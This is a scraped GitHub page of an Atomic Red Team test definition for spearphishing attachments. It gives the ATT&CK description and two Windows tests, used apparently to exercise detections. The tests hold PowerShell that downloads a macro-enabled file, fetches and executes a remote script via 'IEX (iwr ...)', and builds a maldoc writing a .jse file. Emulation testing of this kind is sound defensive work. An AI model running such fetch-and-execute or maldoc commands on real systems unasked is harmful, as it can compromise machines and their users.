Files

f339e7d

Go to file

- .github
- atomic_red_team
- atomics
  - Indexes
  - T1003.001
  - T1003.002
  - T1003.003
  - T1003.004
  - T1003.005
  - T1003.006
  - T1003.007
  - T1003.008
  - T1003
  - T1006
  - T1007
  - T1010
  - T1012
  - T1014
  - T1016
  - T1018
  - T1020
  - T1021.001
  - T1021.002
  - T1021.003
  - T1021.006
  - T1027.001
  - T1027.002
  - T1027.004
  - T1027
  - T1030
  - T1033
  - T1036.003
  - T1036.004
  - T1036.005
  - T1036.006
  - T1036

atomic-red-team / atomics / T1566.001 / T1566.001.md

CircleCI Atomic Red Team doc… Generate docs from job=genera… ecdd11f · 3 years ago History

Preview Code Blame 107 lines (62 loc) · 4.51 KB Raw

T1566.001 - Spearphishing Attachment

Description from ATT&CK

> Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
> There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

Atomic Tests

- Atomic Test #1 - Download Macro-Enabled Phishing Attachment
- Atomic Test #2 - Word spawned a command shell and used an IP address in the command line

Atomic Test #1 - Download Macro-Enabled Phishing Attachment

This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file. The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory.

Supported Platforms: Windows

auto_generated_guid: 114ccff9-ae6d-4547-9ead-4cd69f687306

Attack Commands: Run with `powershell`!

- T1037.001
- T1037.002
- T1037.004
- T1037.005
- T1039
- T1040

```
$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomic
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm
```

Cleanup Commands:

```
Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore
```

Atomic Test #2 - Word spawned a command shell and used an IP address in the command line

Word spawning a command prompt then running a command with an IP address in the command line is an indiciator of malicious activity. Upon execution, CMD will be lauchned and ping 8.8.8.8

Supported Platforms: Windows

auto_generated_guid: cbb6799a-425c-4f83-9194-5447a909d67f

Inputs:

Name	Description	Type	Default Value
jse_path	Path for the macro to write out the "malicious" .jse file	String	C:\Users\Public\art.jse
ms_product	Maldoc application Word or Excel	String	Word

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/
$macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"W
Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
```

Cleanup Commands:

```
Remove-Item #{jse_path} -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: Microsoft #{ms_product} must be installed

Check Prereq Commands:

```
try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "win
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft #{ms_product} manually to
```